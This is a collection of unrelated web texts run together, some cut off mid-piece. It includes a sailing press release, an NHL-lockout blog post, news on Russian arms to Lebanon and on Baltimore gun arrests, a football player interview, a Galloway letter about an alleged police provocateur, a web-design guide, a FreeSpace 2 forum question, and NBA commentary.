16 February 2015, Vancouver — One of Canada’s most successful offshore racers, Eric Holden, announces his Canadian Ocean Racing Open 60 program will be accepting applications from young aspiring offshore sailors for select spots on the COR Launch Tour.
Canadian Ocean Racing will officially launch its Aspiring Offshore Athletes program this Spring out of Vancouver. The program’s Launch Tour will provide young offshore sailors with training journeys onboard Open 60 O Canada this Spring/Summer, skippered by Canada’s Rolex Sailor of the Year Eric Holden.
“I had to just about beg, borrow and steal my way onto boats abroad to build my offshore racing career. I started Canadian Ocean Racing to offer better opportunities, mentorship and access to offshore racing in Canada. But, I’m still looking to work with young Canadian sailors who, like me, have already taken the initiative to get themselves involved in offshore racing,” said Holden.
Opportunities are available in pre-Launch boat prep (Vancouver), select legs of the Launch Tour journey, and support at the Pan Am games. Canadian Ocean Racing invites aspiring offshore sailors across Canada to apply to join this small, elite group who are building Canada’s premier offshore racing program.
The COR Launch Tour will begin out of Vancouver in April 2015, with stopovers in San Francisco, Acapulco, a journey through the Panama Canal, Fort Lauderdale, New York City and Halifax. The tour will conclude in Toronto with events surrounding the Pan Am Games in July 2015.
Holden founded Canadian Ocean Racing with former Clipper Round the World Race crew member, Morgen Watson; together they are building the profile of Canadian offshore racing on top of their 2013-2014 Clipper Race win.
“Eric was a great mentor in the Clipper Race and has continued to help me advance my offshore career. I’m really excited about the COR Launch Tour coming up and working with fellow young and eager offshore racers in Canada,” said Watson.
Holden wants the program to be as accessible as possible, so there are no enrollment fees for participation in the COR Launch Tour training program. Travel and accommodation will be handled on a case-by-case basis. Generous donations and the support of Wind Athletes Canada help make this program possible.
All qualified applicants are encouraged to submit their sailing & professional CVs plus a cover letter email to info@canadianoceanracing.com with “Aspiring Athlete” in the subject line. Please include in the email the leg(s) of the COR Launch Tour you wish to participate in and the skills you offer.
Applicants must be 21-35 years of age, a Canadian national and have some offshore experience. Deadline for submission is 1 March, 2015.
Press Contact
Meg Reilly, PR & Partnerships Manager
mreilly@canadianoceanracing.com
Canadian Ocean Racing
Canadian Ocean Racing (COR) is Canada’s premier offshore racing team. Founded by Eric Holden and Morgen Watson, COR is dedicated to promoting the sport of offshore racing in Canada. COR is using Open 60 O Canada for the training program and taking her back on the racing circuit to compete in the IMOCA races.
The mission of COR is to raise the profile of Canadian offshore racing while building a program to develop the next generation of sailors. The program was founded by the duo following their Clipper Round the World Race win in 2014. Visit www.canadianoceanracing.com for more information.
Wind Athletes Canada
Wind Athletes Canada is a Registered Amateur Athletic Association. It receives funding from charitable donations and other sources. Missions of Athletes Canada include: promoting the sport of sailing in Canada, supporting training programs and competitions that develop and support promising sailors from the grass roots level of the sport through to national and international levels.
Wind Athletes also provides funding and support to members of the Canadian Sailing Team. The organization offers support for hosting sailing competitions
and fundraising activities with the proceeds to be distributed to the programs of Wind Athletes Canada. Visit www.windathletes.ca for more information.
Clipper Round the World Yacht Race
The Clipper Round the World Yacht Race is the world’s longest ocean race. The Race is 40,000 miles long and takes almost a year to complete. Twelve teams race on a matched fleet of Clipper Race 70 ocean racing yachts. In the 2013-2014 edition of the Race, Team Henri Lloyd, skippered by Eric Holden, won the race.
With an empty pint in-hand, I’m become completely disenfranchised with the whole situation. I am tired of talking about the stupid lock-out (yes, I see the irony in that I am now writing about a subject I have just said I don’t care about). I try to avoid talking about the NHL, and loathe being dragged into a conversation. Typical conversation:
NHL FAN – “So, what do you think about the lock-out?”
Me – “The whole thing is ridiculous. They just need to settle.”
NHL FAN – “Yeah, Bettman’s a real (insert explative).”
Me (trying not to sound rude) – “Yeah, I can’t even talk about it anymore.” (pretending to be so infuriated that I can’t bring myself to carry on this discussion for fear of vomitting – it’s the only way out!)
I once cared about hockey, back in the “good ‘ole days”. It was a great sport with great players who I looked up to, none more than the lone sports “hero” I’ve held all my life – Stevie Y. For me, he epitomized all that was right in sports. An unassuming, mild-mannered guy who stayed with his team through thick and thin, while playing at an extremely high level. He wasn’t alone either. It just seemed things were different then, in the 80’s and 90’s, and the guys who played then weren’t in it just for the money, as naive as that sounds. And the owners, well, I’m not sure much has changed with them.
I am not venting with the purpose of discussing the merits of the current lock-out, and I don’t care to discuss who’s right and who’s a bigger idiot. Judging by the fact that you are still reading this, it is quite likely that you are in fact still interested in that discussion. All the power to you. If I was more in love with the game like I once was, I would feel more like you do. But that was then and this is now. I have less time to deal with nonsense these days, so this lock-out is completely off-limits for me.
I guess I’m apathetic. Apathetic to the owners, apathetic to the players, and apathetic to the game in general. Perhaps when it comes back we’ll see another “NEW NHL” and I’ll start watching again. But as it stands now, my pint is dry and that’s never a good thing.
Lavrov said Moscow was ready to boost the Lebanese Army by equipping it with “specialized equipment” to fight terror groups.
Lavrov made the comments at a meeting of the Lebanon Support Group at the United Nations General Assembly meeting in New York on Wednesday, the Russian Tass news agency reported.
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“We give unconditional support to the people of Lebanon in opposing the terrorist and extremist groupings like the Islamic State and Jabhat al-Nusra,” Lavrov said. “We confirm the readiness to continue upgrading the potential and combat readiness of the Lebanese forces as they stand up to terrorism.”
The foreign minister noted that Russia had “recently signed supplementary agreements on the supplies of specialized equipment to Lebanon,” but the report did not elaborate on what kind of weapons were involved.
Lavrov’s statements came on the same day that a Russian military force, recently deployed in Syria, began airstrikes against targets in support of Syrian President Bashar Assad, who is fighting a four-year insurgency.
While the Russian military mission is ostensibly to combat the Islamic State and Jabhat al-Nusra terror groups, initial reports claimed that the warplanes also targeted more moderate rebel groups seeking to bring down the Assad regime.
The airstrikes have raised tensions with the US, which is conducting its own air campaign against IS in Syria but, in stark contrast to the Russians, insists that Assad must be removed.
Israel has watched with mounting concern the buildup of Russian forces, which included strike aircraft, tanks, and advanced anti-aircraft systems that could threaten Israeli Air Force operations in the region. In particular, Israel fears advanced weapons could find their way into the hands of the Lebanese-based Hezbollah terror group that has fought alongside Assad’s regular army against rebel groups.
Several airstrikes in recent years, attributed to Israel, have targeted alleged weapons conveys and arms depots in Syria that were intended to supply Iran-backed Hezbollah.
In February, Lebanon took delivery of $25 million worth of US weapons and ammunition that were sent to help the country fight against Syrian-based Islamic extremist groups. The shipment included 70 M198 155-mm howitzers and millions of rounds of shells and ammunition.
A November 2013 agreement was to see France supply $3 billion worth of weapons, paid for by Saudi Arabia, to the Lebanese Army, but only a small number of munitions have since been delivered.
Lavrov also noted Russia’s understanding of Lebanese concerns over the influx of some 1.5 million refugees who fled the fighting in neighboring Syria.
Austin Pettis was a starter since freshman year at Boise State from 2007 through 2010. He totaled 229 receptions and 2838 yards (which was ranks 2nd all-time in Boise State history). He also accumulated 39 touchdowns. He was selected twice as First-Team All-WAC in 2009 and 2010. He entered the 2011 NFL Draft, and was drafted in the 3rd round, 78th overall. During his rookie season with the Rams, he had 27 receptions for 256 yards.
Download audio interview with Austin Pettis, click here!
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Announcement : My name is Max Strauss with http://prointerviews.org/, http://facebook.com/ProInterviews/ and http://twitter.com/ProInterviews/. I’d like to welcome you to the interview with Austin Pettis. Pettis attended Boise State University. During both his junior and senior year, he was a first-team all WAC selection. He finished 9th all time in receptions and touchdown catches in Boise State history. He also finished 2nd in yards in his school’s history. He entered the 2011 NFL Draft, and was drafted in the 3rd round, 78th overall to the St. Louis Rams. He is eager for his career to start in the NFL. Here is the interview with Austin Pettis. I hope you enjoy the collages also. Please check out below to read answers to the personal questions.
Strauss : How do you connect with your fans?
Pettis : Back out here in Boise, if I see them, I hit them up. I also have a Facebook fan page and fans can connect to me on there. I also have a twitter.
Strauss : What was your high school football experience like?
Pettis : It was cool. We were successful in our games. It prepared me really well for college.
Strauss : What was the transition like from high school to Boise State?
Pettis : It was a little difficult, but it wasn’t that rough. My high school runs their program a lot how Boise does, so it wasn’t a bad transition.
Strauss : Do you have a favorite memory from your career at Boise State?
Pettis : Yes. Winning the Fiesta Bowl. It was a pretty good time, and we hadn’t won it for a while.
Strauss : You finished receptions 9th all time in receptions and touchdown catches at Boise State, and 2nd in receiving yards. Looking back, how do you think that’s going to help you in the future?
Pettis : It just shows that I can compete at a pretty high level. It also shows that I was successful at a big-time program in college.
Strauss : What was it like to be a four-year starter in such a high powered offense?
Pettis : It was nice to play early because I got to learn a lot. It prepared me for my next couple of years of my career to be successful.
Strauss : Did you have a best friend while you were at Boise State?
Pettis : My roommates: Hunter White, Darian Thompson, and Antwon Murray.
Strauss : Do you have a funny memory you share with them?
Pettis : Every day is a funny memory really. We had a good time at our house.
Strauss : Do you have something that your collegiate teammates probably don’t know about you?
Pettis : I went to private school my whole life until college. My uncle on my dad’s side, his brother, and my grandpa on my mom’s side, both played professional baseball.
Strauss : What was it like to attend the NFL Combine?
Pettis : It was fun. It was a good experience. It was a little hectic. They throw a lot at you. It was nice, and I did well for myself so I was happy.
Strauss : You ran the fastest shuttle for a wide receiver at the combine (3.88). What was the most important thing you did to train for that?
Pettis : I have been pretty decent at that, just because of my length. It was a huge thing to help me benefit. I trained a bunch at the facility down in California. They kind-of tweaked my technique. We figured it out, and it created a responsible time.
Strauss : What was your Pro Day like?
Pettis : Pro Day was pretty relaxed actually. I didn’t have to do anything that I did at the combine because I was happy with all my times and everything. I just had to run a couple of routes. I ran about fifteen routes and I was done.
Strauss : What was your draft day experience like?
Pettis : It was cool. We went to a really nice suite down in the Newport Area. We had a bunch of family out there. We just watched the draft, had a bunch of food, and drinks.
Strauss : Have you ever been to St. Louis?
Pettis : Yeah. I’ve been twice now, once last week. I also went the day after I got drafted. I went up there for a day.
Strauss : According to the Rams’ website, you’re number 83. Did you choose that?
Pettis : I didn’t choose that. They gave that to me. I’m hoping to get a number closer to ten, eleven, or twelve. Hopefully, I can get in that range.
Strauss : How excited are you to be teaming up with a young and rising quarterback in Sam Bradford?
Pettis : I’m very happy. I feel like I got the best-case scenario possible. We have a really young team, and a great quarterback. I had a pretty decent season last year, and hopefully I’ll be able to come out here and do the same.
Strauss : What do you see as your role with the Rams this year?
Pettis : Really, I just need to get out there and learn as much as possible. I’ll try to make plays whenever they put me on the field.
Strauss : Do you have a foundation or charity that you support?
Pettis : Not yet. I will be definitely taking caring of that in the future.
Strauss : Which coach do you think has had the most impact on your career?
Pettis : My receiver coach out here in Boise, Coach P. He taught me a lot. He really took care of me, and helped me. He was the reason why I was successful out here.
Strauss : If you could describe yourself as any ice cream flavor, what would you be and why?
Pettis : Haha. I think I would be the vanilla-chocolate swirl/mix because I’m half-black.
Strauss : What is your favorite quote?
Pettis : It’s a bible verse. Philippians 4:2.
Strauss : For someone who wants to play football in the NFL, what’s the best advice you can give them?
Pettis : Listen to your coaches genuinely. Try to be as much of a sponge as you can. Knowledge helps you get really far in football.
Strauss : Is there anything you want to tell your fans from Boise or your new fans in St. Louis that we haven’t really talked about?
Pettis : I just really want to thank them for their support. I’m excited for more people to support me, and I’m excited to get to work out in St. Louis.
Strauss : Thank you so much for your time Austin.
Pettis : No problem man. Have a good one.
Announcement : Thank you for listening to the interview with Austin Pettis. I hope you enjoyed it. I hope you leave your comments below as well! Please check out my website https://prointerviews.org/ for other interviews, “LIKE” the Facebook page athttp://facebook.com/ProInterviews/, and follow me on twitter at http://twitter.com/ProInterviews/. Please subscribe to me on YouTube at http://youtube.com/ProInterviews/ Thanks again for listening! Stay tuned for more, and feel free to contact me!
->Here are the personal questions that Austin Pettis answered.<-
Strauss : If you could meet anyone, who would it be and why?
Pettis : Kobe Bryant. He’s my favorite player, and I love how competitive he is.
Strauss : Who is the football star you look up today?
Pettis : Watching football, most recently, I like to watch Larry Fitzgerald these past few years.
Strauss : What is your favorite TV Show?
Pettis : I like a show called, “The Game.”
Strauss : What is your favorite movie of all time?
Pettis : That’s tough… I like a lot of movies. Let me go with, “Hitch.”
Strauss : What is your favorite type of pie?
Pettis : No, I really don’t eat pie. I’m not a huge dessert guy. I like Carrot Cake though.
Strauss : What would you order if you could choose your last meal on Earth?
Pettis : Sushi.
Strauss : If you weren’t playing in the NFL, what would you want to do?
Pettis : I would want to be playing basketball or baseball.
Strauss : What’s your nickname?
Pettis : People called me by my initials, AP.
Strauss : Thank you for answering the personal questions.
An undercover police officer tried to provoke violence at the 'Stop Bush' demonstration. These are the allegations made by George Galloway MP. We publish below his letter to the Home Secretary Jacqui Smith. We find his evidence compelling and the allegation disturbing. Is the British state using provocateurs against us? The labour movement will want an answer.
Following his letter to the Home Secretary about police violence at the recent protest against George Bush, George Galloway has today written a further letter naming the undercover police officer who is now known to have deliberately provoked violence at the demonstration.
25 June 2008
Rt Hon Jacqui Smith Home Secretary Urgent
Dear Home Secretary,
As you may be aware I wrote to Sir Ian Blair and Mayor Johnson calling for an inquiry into the policing of the demonstration against George W Bush on Sunday 15 June in Parliament Square/Whitehall. I enclose a copy of my letter to him. I should say I have since been visited by Superintendent Tim Jackson and have given him an account of the basis of my original complaint.
I did tell him, however, that subsequent newspaper revelations may indicate a far more sinister involvement of the police in actual law-breaking on the demonstration which sought to provoke exactly the ugly scenes which eventually ensued.
Since my meeting with the superintendent yesterday this issue has become clearer and obliges me both as a Member of Parliament and as a close witness to these events to write to you as Home Secretary demanding a full inquiry by the government into the extraordinary events and policy decisions surrounding the policing of this demonstration.
You will be aware by now of an article in the Mail on Sunday of 22 June by Yasmin Whittaker-Khan in which she recounts her shock at meeting a man, whom she knew to be a policeman from a previous encounter, who seemed determined to bring about a confrontation between the demonstrators and the police.
This man for at least 30 minutes was stood right next to me at the front of the protest and it is inconceivable that no police photograph will confirm this. I say this because several police stills cameramen and at least one video cameraman were constantly filming.
I can now confirm that this man was Chris Dreyfus, an inspector in the police.
This man, to my direct knowledge, committed four criminal offences during the 30 minutes or so he stood next to me. First, he repeatedly chanted the arcane, antiquated Americana, "Kill the pigs!"
This is a clear incitement to violence, indeed murder. If a Muslim demonstrator had been chanting it, say, outside the Danish Embassy, he would likely now be in prison. Secondly, he repeatedly (crushing me in the process) attempted to charge the crush barriers and the police line behind them.
Thirdly, he repeatedly exhorted others so to do. Fourthly, he instructed a young demonstrator on the correct way to uncouple a crush barrier, which was successfully achieved and was subsequently thrown at the police, and was presumably one of the justifications for the deployment of a riot squad which eventually waded in to the protesters.
Home Secretary, there can hardly a more grave indictment of the conduct of the police force in a democratic country than this. People in the labour movement have often mythologised the state's use of agents provocateurs throughout my 40 years experience and no doubt long before. But, to my recollection, we have never caught one red-handed before.
This inspector's criminal actions must place all the other in themselves legitimate complaints about police tactics in a new light. I wrote to Sir Ian – and to Mayor Johnson – questioning the competence of the policing on that day. It now seems that what happened was a deliberate conspiracy to bring about scenes of violent disorder, seen around the world and for purposes on which we can only speculate.
You, however, have clear responsibility to get to the heart of this matter. I do hope you will begin to do so without delay.
Yours sincerely,
When you’ve got your head buzzing with millions of fresh ideas and creative ambitions, it’s pretty tempting to set about tackling the fun part of design. You can’t wait to create a unique product you can be proud of. And that’s great!
But the challenge of every new project is that there’s always a risk of finding yourself in a dead-end street, if you fail to meet your client’s expectations from the very beginning.
So what’s the first step you should take when starting a new project?
If you want to wow your client with the final result, you need to put yourself in their shoes and understand their motivation, strengths, pain points, objectives and budget, as well as their target audience, marketing tactics and lead generation strategies right from the beginning.
Here are 10 questions you can ask your client to get your web project kicked off at the right angle and make sure that the newly-designed website hits the mark.
What’s your business about?
Getting to know your client is the best starting point.
The answer to this question might be quite obvious if you’re going to work for, let’s say, a kid’s toy store selling Play-Doh sets or fluffy bears. But what if you had to design a website for a company providing “risk identification and management services in marine and renewable industry”?
Regardless of who your client is, you need to have an in-depth idea of what they exactly do, how long they have been in the market, what are their company’s key values, etc. This information will take out the guesswork from your planning and decision-making process. Knowing who you are working for will give you more confidence in what you do.
Of course, before communicating with your clients, you first need to have profound knowledge about the business world itself. And here, you can't succeed without business books. No matter what, they'll give you a "solid basis" which you'll be able to implement in your career.
Why do you need a website?
Clients often come to you, already having visualized the future website in their mind. But let’s be honest. Many of them don’t have the answer to the simple question – “what do you need it for?”
People might want a new site because of the urge to keep up with marketing trends or at least not to fall behind the Joneses. But a website can’t be an end in itself. To be more frank, any business website must serve for making money.
As a professional, your task is to dig deeper and identify the real business problems your client wants to solve by creating a website. Ask about the primary and secondary goals to be accomplished. It can be anything from boosting brand awareness to driving customer engagement, and accordingly, sales.
Asking a few more “whys” will help you get a better understanding of your client’s real motivations and suggest solutions that will work best for them.
Who's your target audience?
When starting a project, you often think of creating a beautiful website with good functionality. But even the latest bells and whistles may be purposeless, if your design doesn’t correspond to online marketing rules.
Remember that beauty is always in the eye of the beholder. It’s your online marketing tactics and the customer’s profile that dictate the ideal looks, layout and structure of your website.
Ask your client who the new website is designed for and be all ears when they describe their target audience. Identify types of customers who might be interested in the website, as well as your client’s ideal customer profile. Here are some details you can hunt for about the prospective customer:
- Demographics – customers’ age, gender, schooling, occupation, income, marital status, etc.
- Psychographics – customers’ values, hobbies and interests, lifestyle and online behavior
Creating several user personas based on this data and knowing the psychology, pain points and needs of their customers will help you get lots of design ideas.
What do you want your customers to do?
This is actually the question that will help you work you magic and create a meeting point for your client and their customers.
Great design is the one that’s irresistible and gets the target audience do what you want. Otherwise, it’s a nice piece of art. And this is not only about kick-ass CTAs. The overall design of your website should be consistent with your prospective customers and the business goals to be accomplished.
You should find out how your client wants to connect emotionally with their customers and how they want customers to perceive their brand. Then you should consider what the potential visitors will expect to experience in the website. Putting it altogether, you’ll be able to create the ideal compromise point for your client and their target audience.
What makes you stand out from others?
Online shoppers are far from being reliable friends. They often visit a website to have a quick look around or compare the prices and jump to another site to find something better or cheaper.
In order to build meaningful (read “profitable”!) and long-lasting customer relationships, businesses have to be truly remarkable. So ask you client what makes them stand out from their competitors:
- An exceptional service?
- Free shipping?
- A powerful product guarantee?
- Being a social business?
You should make it plain to your clients that they have only one chance to create a first impression. You have to communicate the idea of uniqueness through the website to win the visitors’ hearts from the first moments of their experience.
And if there’s nothing that makes them unique, your question will be a good nudge to start thinking about it.
Who are your top competitors?
What can be a better source of inspiration than competitors? Having identified the goals and struggles of your client, it’s time to gather some information on their top competitors.
Your client surely knows the “online rivals” who’re likely to steal potential customers from their website. Ask them what they like the most about the competitors’ sites and do your own research to find what’s so special about them. This will help you have a better vision of your design.
What would you like to have on your website?
Of course, you don’t want your client to appear with a frowning face at the end of the project, complaining that they haven’t got what they wanted.
Strange as it may seem, misunderstandings are avoidable even with the most difficult client. You just shouldn’t be afraid to ask straightforward questions at times.
Besides following web design trends and strategies, you should also ask your client if there’s anything special they’d like to have on their website. They’ve probably stumbled upon some features they like and want to try on their own site. It can be a website chat box, a blog, a photo gallery or a contact request form. The business owner may also have a better idea of what sort of things you can use to build the visual brand identity.
What would you rather sidestep?
Design is subjective. What seems amazing to you, my seem dull or annoying to your client. Don’t play it by ear. Take the time to ask your client if there are certain things they dislike and don’t want to have in their website.
Give your client a chance to vent and let you know if there are any colors and features to avoid. Also, make sure to ask if there’s a brand style guide you should adhere. Most clients won’t remember to send you a guide unless you ask for one, some of them won’t even have it, yet any existing material can save you time and help you in your decision making process.
Do you have a domain?
Getting a domain name and hosting might seem a trivial matter. Yet, authentic designers know that this kind of issues can take longer than expected and might even cause the project to be halted.
If your client is still being in two minds about the hosting costs and similar details, you can speed up the process by suggesting an optimal solution.
This can be easily settled, choosing a website builder, like Ucraft, that allows you to get a subdomain or connect a custom domain for free. It will save you and your client time, money and extra efforts.
When are we launching the new site?
Having to stay up a few nights in a row, drinking tons of coffee doesn’t sound cool, right? To avoid bad surprises and make your work a lot less stressful, you should find out from the beginning if your client has specific deadlines.
This will help you split your working process into smaller phases and prioritize your tasks. And if the client comes up with an idea of a last-minute change (like they usually do), you’ll be able to handle the situation without missing the deadline.
As Baltimore struggles under surging gun violence, gun arrests are down 25 percent from last year.
Much of the decline has come from the police department’s operational intelligence division, of which the task force was a part. The division has made 277 fewer gun arrests this year, a 67 percent drop. Police spokesman T.J. Smith said the dissolution of the task force in March has been a factor.
The end to “their methodology of work certainly has contributed to a decline in gun arrests,” Smith said. But he added that some of the successes claimed by the unit “might not have been lawful arrests.”
The task force was entrusted with a job that Police Commissioner Kevin Davis described as a key to quelling the city’s historic violence: getting illegal guns out of the hands of trigger-pullers.
A federal grand jury indicted seven members on racketeering and other charges in March and an eighth member in August. The officers are accused of robbing suspects and law-abiding citizens, filing false court paperwork to cover their tracks and committing overtime fraud.
Four have pleaded guilty. Four are fighting the charges.
With the indictments, the task force was disbanded. Davis redirected resources away from other specialized plainclothes units and created uniformed District Action Teams to enforce gun laws at the district level.
Smith said the department is “proud of the work” of the new teams, and the department regularly touts their success in seizing firearms. But the teams aren’t pulling nearly as many guns off the street as the task force did.
City data show that gun arrests began to decline immediately after the arrests of the first seven task force members.
In January and February, gun arrests increased over the first two months of 2016. But gun arrests declined by 42 percent in March compared to the same month in 2016. They were down 46 percent in April and 39 percent in May.
In August, amid another summer of violence, police made 77 gun arrests, down more than 34 percent from the 117 arrests of August 2016.
Overall, the 25 percent drop in gun arrests this year is far greater than the 4 percent dip in total arrests by city police for all crimes. The decline in gun arrests has led to a corresponding decline in gun seizures as well; they are down 27 percent since February.
City Councilman Brandon Scott, chairman of the council’s public safety committee, has expressed concern for months about declining gun arrests. He said police need to be skilled at the district level at seizing guns and making gun arrests.
“If we were relying too heavily on the Gun Trace Task Force to get the guns, that was a bad model to have anyway,” he said. “It’s important to me that district commanders have areas where they can control. We shouldn’t be depending on one centralized group to get all the guns off the street.”
Davis has said the new District Action Teams provide that localized focus, and are still building capacity and experience.
We want to make sure that they can stop the people robbing kids coming home from school. — Brandon Scott, city councilman
Gun arrests attributed to district teams are up in several districts compared to this time last year, the data show.
Gun arrests made by officers in the Northern District, which includes Station North, Hampden, Johns Hopkins University and Roland Park, are up 41 percent year over year. In the Western District, which includes Sandtown-Winchester, Coppin State University and Mondawmin, they’re up 40 percent. In the Southern District, which includes Federal Hill and Brooklyn, they’re up 23 percent.
In September, Southern District Action Team officers broke up a dice game in Westport, chased a man, arrested him on a gun charge for a revolver he allegedly tossed during the chase, and then discovered he had two vehicles parked in the area, police said.
After obtaining a search warrant for the vehicles, officers located and seized 11 more firearms, including several semi-automatic rifles, and ammunition, police said.
“Great job Southern District Action Team!” Davis tweeted, with a picture of the guns piled on a table.
For all the gains, though, they haven’t been enough to offset the huge decline in task force arrests — an indicator of how prolific the team was.
Police commanders created the Gun Trace Task Force a decade ago to zero in on gun offenders, a perennial target of Baltimore’s law enforcement and political leaders in a city crippled by some of the worst gun violence in the nation.
Davis called the approach a key element of his plan to reduce the years-long surge in homicides in the city. (He has also lamented the fact that arrests for illegal gun possession in the city often don’t result in long prison sentences, in part because as a first offense, the crime is a misdemeanor in Maryland.)
Lt. Chris O’Ree, a city commander who was assigned to work with the federal Bureau of Alcohol, Tobacco, Firearms and Explosives, praised the unit in the Baltimore police newsletter in October 2016. He said it was getting guns off the street at breakneck speed.
“This team of dedicated detectives has a work ethic that is beyond reproach,” he wrote, and commended Sgt. Wayne Jenkins for his leadership.
“Sergeant Jenkins and his team are responsible for arresting handgun violators; as well as tracking the origins of guns and how they get into the hands of Trigger Pullers. … Ten and a half months into the year and Sergeant Jenkins and his team have 110 arrests for handgun violations and seized 132 illegal handguns. This is no small task.”
Jenkins was one of the highest-ranking officers to be indicted.
He has pleaded not guilty.
“Mr. Jenkins recognizes the serious nature of the allegations against him,” said his attorney, Steven Levin. “Putting aside the seriousness of those allegations, there is no question that Mr. Jenkins worked tirelessly to get guns off the streets of Baltimore. The statistics should reflect that he was responsible for the seizure of a great number of weapons, and that should not be forgotten as he faces these pending charges.”
Jenkins has resigned from the police force.
Philip Stinson, a criminologist at Bowling Green State University who studies police integrity and corruption, said the argument is common in corruption cases.
"NASA envisions a future in which low Earth orbit is largely the domain of commercial activity while NASA leads its international and commercial partners in the human exploration of deep space," the agency wrote. So while Trump's motivations may sound a bit sinister on the face of things, it's about getting as much back as possible from the research and investments NASA makes and not necessarily about Trump lining his pockets with cash from commercial space endeavors.
Similarly, Trump's ART also asked about what sort of resources could be mined from the moon. NASA noted that getting a sample from the moon's south pole was a "high scientific priority." That area of the moon is believed to have water, hydrogen and methane that is relatively easy to mine; NASA called those resources a "critical long-term resource" that can benefit future human missions to the moon and potentially beyond.
However, the catch with this potential plan is the Outer Space Treaty, signed by the US and 104 other countries. That treaty states that "the exploration and use of outer space, including the Moon and other celestial bodies, shall be carried out for the benefit and in the interests of all countries, irrespective of their degree of economic or scientific development, and shall be the province of all mankind." If Trump wants the US mining valuable resources from the moon, it sounds like it needs to be ready to share its learnings with the rest of the countries who've signed the treaty.
Motherboard uploaded the entire 94-page response it received to its FOIA request here. One overarching theme that Motherboard found was that while NASA was open to discussing commercial endeavors, the agency also tried to emphasize the fact that its research was primarily for scientific purposes -- something that may seem obvious to most but that nonetheless needed to be noted.
I just recently (like the past three weeks) started playing the FS2 Open game again ...
I researched how to set everything up with FS2 Open a year or so back and have since forgotten how the whole thing sticks together/is structured.
Anyway ... in the FS2 Open Launcher, I currently have "fs2_open_3_6_12r_INF.exe" selected at the top and next to the "Browse" button. And, to move up to 3.6.14, I'm pretty sure all I need to do is point that instead to the "fs2_open_3_6_14" file, correct?
But what I'm curious about and before I commit to any changes (as 12 is working really well) is the fact that in the area just beneath that *.exe selection box, just beneath all the set up tabs, is a button that says "Select Mod" ... and here I have pointed to a subdirectory under my Freespace2 root called "/mediavps_3612" ...
Do I continue pointing to this or is there a set of files I need to add to a new, "/mediavps_3614" directory and then point to that?
I really can't recall how/why that /mediavps_3612 directory got there but I'm sure it's essential cause everything plays and looks fantastic.
Anyway, wanted to run that by you folks before upgrading to the .14 release.
Thanks and keep up the good work. I'm amazed at the shelf life you've given this legendary game. So fun to revisit.
Best.
"I haven't thought about that yet," Scott said, via ESPN Los Angeles, when asked if the topic had been broached by the organization. "I keep thinking about game-to-game right now. So I haven't gotten to that point. Maybe after the All-Star break, maybe we will start talking about something like that if necessary."
Scott was asked the question following the Lakers' 106-94 home loss to Portland, a game in which Bryant did not play. It was the second straight contest Bryant missed and sixth in the last 11 games. Scott said before Sunday's game that he made the decision to have Bryant sit out.
"I talked to him this afternoon and told him he didn't even have to come tonight but he wanted to come anyway. It's just my feeling that I wanted to give him another day of rest ... If the legs are good and his body is pretty good and he's not feeling any soreness or any stiffness or anything like that, then we'll go from there."
Bryant, 36, is playing an average of 35 minutes per game this season after missing all but six games last year with a torn Achilles tendon and a fracture in his left knee.
Bryant played in the Lakers' first 27 games this year, and was averaging more than 35 minutes per game before sitting out the team's Dec. 23 contest against the Warriors. He has since sat out five of the Lakers' last 10 games. In the five games he has played, Bryant has averaged less than 32 minutes.
His shot attempts have also dropped during this stretch from 22 per game to 12.2, according to ESPN Los Angeles. Bryant is averaging 23 points per game this season, but is shooting a career low 38 percent from the field.
Scott said he and Bryant had different views on Bryant's minutes load when the season began. Bryant suggested 32 minutes per game as a good number to target, but Scott felt Bryant could make it through all 82 games while playing close to the near-37 per game he always has. Scott now admits that he was wrong to think so.
"It was overload," Scott said. "My number was higher and I played to my number. That had a lot to do with him being worn down. You might think three minutes is a lot or make a whole lot of difference, but in the long run it does. So I went back to the drawing board and the last few games he has played he has been totally different because he has a lot left in the tank, especially towards the end of the game which is the most important part."
Scott said he now wants to ensure Bryant is healthy next year. Bryant's current contract with the Lakers ends after the 2015-16 season.
"He's a basketball player that's played a lot of years so I have to be a little concerned about that," Scott said. "That's the reason that I'm taking such precautionary measures and making sure he doesn't play so many games. I want him to be right, not only for this season but for next season as well."
The Lakers are currently 12-26. Their next game is Tuesday night at home against the Miami Heat.
DeMar DeRozan came alive for 34 points in Game 5 against the Miami Heat. Is it the turning point Raptors fans have been waiting for?
After struggling to find his shot for the first eleven games of the 2016 NBA playoffs, DeMar DeRozan seemed to replicate his regular season form in Wednesday night’s Game 5 victory over the Miami Heat, putting up 34 points on 11/22 shooting from the field and 11/11 from the line. It was a welcome sight for Raptors fans who have been frustrated with the performance of their All-Star shooting guard. Despite never being the most efficient offensive player to begin with, DeRozan’s struggles were reaching historic proportions.
The question for Raptors fans is whether Game 5’s performance is an indication that DeRozan finally made the necessary adjustments to succeed in the playoffs, or if he just had a hot hand for a single night?
The first indicator to look at would be shot selection. DeRozan has received fair criticism for poor shot selection and an inability to adjust during this postseason. In fact, his shot selection seemed to worsen this postseason, with 36% of his shots being 2-point field goals from 16 feet or further, as opposed to only 21% during the regular season. Despite the belief that DeRozan’s shot has been the problem, it is actually his shot selection that is doing the most damage as his shooting percentage from 16 feet or further has maintained his regular season average of 36%. Looking specifically at last night’s performance, DeRozan took 10 of his 22 shots from 16 feet and beyond, even higher than his current postseason average. Half of those shots went in, lending to the belief that DeRozan simply had a strong night shooting the ball, and Toronto fans shouldn’t get ahead of themselves in expecting consistent All-Star performances from him.
The second indicator would be the prevalence of uncontested jump shots. One obvious takeaway from last night’s game was the pace of the Raptors offense. The high screen with Biyombo was used to great effect and strong ball movement helped to open up a lot of attempts, which was particularly noticeable with Kyle Lowry as he took 12 uncontested field goals. DeRozan on the other hand still dealt with contested field goals as 17 of his 22 shots were contested field goals. Surprisingly (or maybe not so much), over 50% of these contested field goals dropped for DeRozan last night.
Unfortunately, these numbers likely won’t fill Raptors fans with a lot of confidence for a repeat performance from DeRozan in the potential series clinching Game 6 in Miami on Friday night. However, to embrace a positive outlook, players can get hot for lengthy stretches where everything they do seems to work. This was certainly the case with DeMar DeRozan last night at the Air Canada Centre, and Raptors fans can hope that DeRozan runs with the confidence gained from his 34 point night and is able to heat up ahead of a hopeful Conference finals matchup with the Cleveland Cavaliers where Toronto’s All-Stars will need to be firing on all cylinders to keep up with the star studded lineup of Lebron James and company.
Activist Post
Marijuana legalization activists used to be viewed as rebels. Now, because of its apparently inevitable legalization, the topic is sort of boring. And that’s mostly a good thing, but some people who support legalization seem to be missing the point.
Since the comparison “safer than alcohol” convinced many of you fence-sitters to support cannabis legalization, I ask you: would you support limits on how much alcohol a person could possess?
